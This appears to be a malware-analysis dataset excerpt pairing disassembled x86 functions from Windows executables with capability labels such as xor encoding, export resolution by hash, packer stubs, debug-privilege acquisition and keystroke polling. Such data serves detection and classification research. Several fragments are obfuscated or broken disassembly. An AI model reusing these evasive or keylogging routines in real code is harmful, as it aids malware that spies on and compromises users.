joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13a73340
Capabilities:
Encode data using xor

Disassembly:
call 0x13a732b9
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x13a732e9
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x13a73305
xor edx, 0
jmp 0x13a73310
xor edx, edx
jmp 0x13a73327
jmp 0x13a73333
xor eax, eax
push 0x8427d7c0
call 0x13a73340
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x13a7337c
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x13a73355
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x13a73393
add eax, 0
jno 0x13a73398
add esi, 0
ret 0x10

Function at 0x13a74101
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x13a74123
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x13a742c5
cmp edi, dword [ebp + 0x10]
jb 0x13a742c5
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.13a73bed
inc edi
jmp 0x13a741ac
jmp 0x13a741b9
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.13a73bed
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.13a73bed
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x13a7420d
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x13a741f1
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.13a7423b
add dword [eax], 0x39
jle 0x13a74217
sub al, 0xf5
mov ch, al
call fcn.13a74250
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x13a75f28
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x13a75f3e
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x13a75f4f
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.13a75f90
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x13a782fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x13a78245
add ebx, 0
push ecx
call 0x13a7825a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71ecb030
sub ebx, dword [0x71eea86f]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x71eea85f
call fcn.13a73d24
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.13a73232
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x13a783b8
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x13a783b8
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x13a7836f
mov eax, 1
lock xchg dword [0x71eea86b], eax
push 0x3dd1fc71
call 0x13a782fc
push esi
add esp, 8
cmp eax, 0
jne 0x13a782e5
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x13a7830b
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x13a78320
cmp ecx, edx
cmp eax, 0
je 0x13a78345
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x13a7832f
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.13a7835e
dec eax
loope 0x13a78361
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x71eea86b], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x13a78395
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x13a783aa
jmp 0x13a783b5
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x13a782a3
Function at 0x13a7f41d
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x13a7f6f3
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x71ed74e3
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x71ece4a9
push 0xffffffffffffffff
call fcn.13a7661d
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x13a7f487
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.13a7f49f
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x13a7f6e7
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x13a7f6bb
Function at 0x13a8eeed
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x13a8ef0f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x13a8ef0f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x13a8ef0f
ret
cmp word [ebx + 4], 0x14c
jne 0x13a8ef0f
test word [ebx + 0x16], 2
je 0x13a8ef0f
test word [ebx + 0x16], 0x100
je 0x13a8ef0f
cmp word [ebx + 0x18], 0x10b
jne 0x13a8ef0f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x13a8ef0f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x13a8ef9b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x13a8ef2f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.13a75e7a
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x13a8ef0f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x13a8ef9b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x13a8ef0f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x13a8ef0f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x13a8ef0f
ret
cmp word [ebx + 4], 0x14c
jne 0x13a8ef0f
test word [ebx + 0x16], 2
je 0x13a8ef0f
test word [ebx + 0x16], 0x100
je 0x13a8ef0f
cmp word [ebx + 0x18], 0x10b
jne 0x13a8ef0f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x13a8ef0f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x13a8ef9b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x13a8ef2f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.13a75e7a
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x13a8ef0f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x13a8f052
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x13a8f0ab
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x13a8f052
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x13a8f061
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x13e94d04
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x13a8f0b2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.13a75f28
cmp eax, dword [ebp + 0xc]
pop eax
je 0x13a8f151
add edi, 4
add eax, 2
dec ecx
jne 0x13a8f097
call 0x13a8f0fe
loope 0x13a8f0f4
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x13a8f14e
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x13a8f15f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x13a8f112
cmp eax, ecx
ja 0x13a8f112
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x13a8f19c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x13a8f192
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.13a76407
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x13a8f061
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x13a8f0ab
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x13a8f052
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x13a8f061
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x13e94d04
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x13a8f0b2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.13a75f28
cmp eax, dword [ebp + 0xc]
pop eax
je 0x13a8f151
add edi, 4
add eax, 2
dec ecx
jne 0x13a8f097
call 0x13a8f0fe
loope 0x13a8f0f4
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x13a8f14e
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x13a8f15f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x13a8f112
cmp eax, ecx
ja 0x13a8f112
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x13a8f19c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x13a8f192
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.13a76407
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401451
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147b
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147f
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x40149a
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014db
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4014ee
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ee
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f2
xor eax, eax
jmp 0x401504
cmp dword [ebp - 4], edi
je 0x401501
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x401944
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
xor esi, esi
call edi
test eax, eax
jbe 0x40197b
push ebx
mov ebx, ebp
sub ebx, str.svchost.exe
mov al, byte [ebx + esi + str.svchost.exe]
push ebp
xor al, 1
mov byte [esi + str.svchost.exe], al
inc esi
call edi
cmp esi, eax
jb 0x401963
pop ebx
and byte [esi + str.svchost.exe], 0
pop edi
pop esi
mov eax, str.svchost.exe
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x4aee17e8
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0xd2276bc
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x1948e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1948e1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1948e07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1948e06a
add dl, dl
jne 0x1948e089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1948e0dc
xor eax, eax
add dl, dl
jne 0x1948e096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1948e17d
add dl, dl
jne 0x1948e0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1948e0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1948e0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1948e0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1948e0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1948e075
mov eax, 1
add dl, dl
jne 0x1948e0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1948e0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1948e0e1
sub eax, ebx
mov ebx, 1
jne 0x1948e128
mov ecx, 1
add dl, dl
jne 0x1948e10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1948e119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1948e105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1948e075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1948e13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1948e14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1948e136
cmp eax, 0x7d00
jae 0x1948e16d
cmp eax, 0x500
jb 0x1948e168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1948e075
cmp eax, 0x7f
ja 0x1948e170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1948e075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1948e19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1948e075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401633
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
mov eax, str.SeDebugPrivilege
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 8]
call fcn.00401675
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401667
push ebx
call fcn.0042bb4f
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x40166f
mov esp, ebp
pop ebp
ret 8
Function at 0x40f58e
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
nop
nop
cmp dword [ebp - 4], esp
je 0x40f5c3
push 0x12
push 0x401004b
push 6
call fcn.0042bb5b
add esp, 0xc
jmp 0x40f5c8
mov esp, ebp
pop ebp
ret 4

Function at 0x40fbe4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x94
call fcn.0042d9c0
add esp, 0x1c
fild qword [0x4e8a4e]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fadd qword [0x44ab07]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
call fcn.00401986
push edx
push eax
call fcn.00402909
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0xf
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0040fd78
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
push ebx
call fcn.0042bb4f
add esp, 4
pop eax
mov ebx, dword [ebp + 0x18]
mov dword [ebx], eax
mov dword [ebp - 4], esp
push 0x10
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 4], esp
je 0x40fc9a
push 0x118
push 0x401002b
push 6
call fcn.0042bb5b
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40fd01
fild qword [0x4e8ad6]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fadd qword [0x44ab07]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
call fcn.00401986
push edx
push eax
call fcn.00402909
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0xf
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0040fd78
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
call fcn.0042bb4f
add esp, 4
pop eax
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
jmp 0x40fd56
fild qword [0x4e8ad6]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fadd qword [0x44ab07]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
call fcn.00401986
push edx
push eax
call fcn.00402909
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 4
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0040fd78
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
call fcn.0042bb4f
add esp, 4
pop eax
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push dword [ebp + 8]
push dword [ebp + 0x18]
call fcn.00411c0f
mov dword [ebp - 8], eax
fild dword [ebp - 8]
fstp dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov esp, ebp
pop ebp
ret 0x18
Function at 0x4274b5
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
cmp dword [ebp - 4], esp
je 0x4274ea
push 0x12
push 0x401004a
push 6
call fcn.0042bb5b
add esp, 0xc
jmp 0x4274ef
mov esp, ebp
pop ebp
ret 4

Function at 0x428912
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
mov eax, str.SeDebugPrivilege
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 8]
call fcn.00428954
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428946
push ebx
call fcn.0042bb4f
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x42894e
mov esp, ebp
pop ebp
ret 8
Function at 0x42cf10
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x42cf3a
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42cf3a
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
ret
Function at 0x42d190
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x42d19d
xor eax, eax
pop esi
ret
push esi
call fcn.0042ee30
add esp, 4
test eax, eax
jne 0x42d1ac
pop esi
ret
cmp eax, 1
jne 0x42d1ba
cmp byte [esi], 0x5c
jne 0x42d1ba
xor eax, eax
pop esi
ret
push esi
call fcn.0042cf40
add esp, 4
test eax, eax
je 0x42d1ce
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x42d270
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.0042bff0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x42d2c7
push ebx
push edi
call fcn.0042c100
push esi
mov ebx, esi
call fcn.0042bff0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x42d29e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret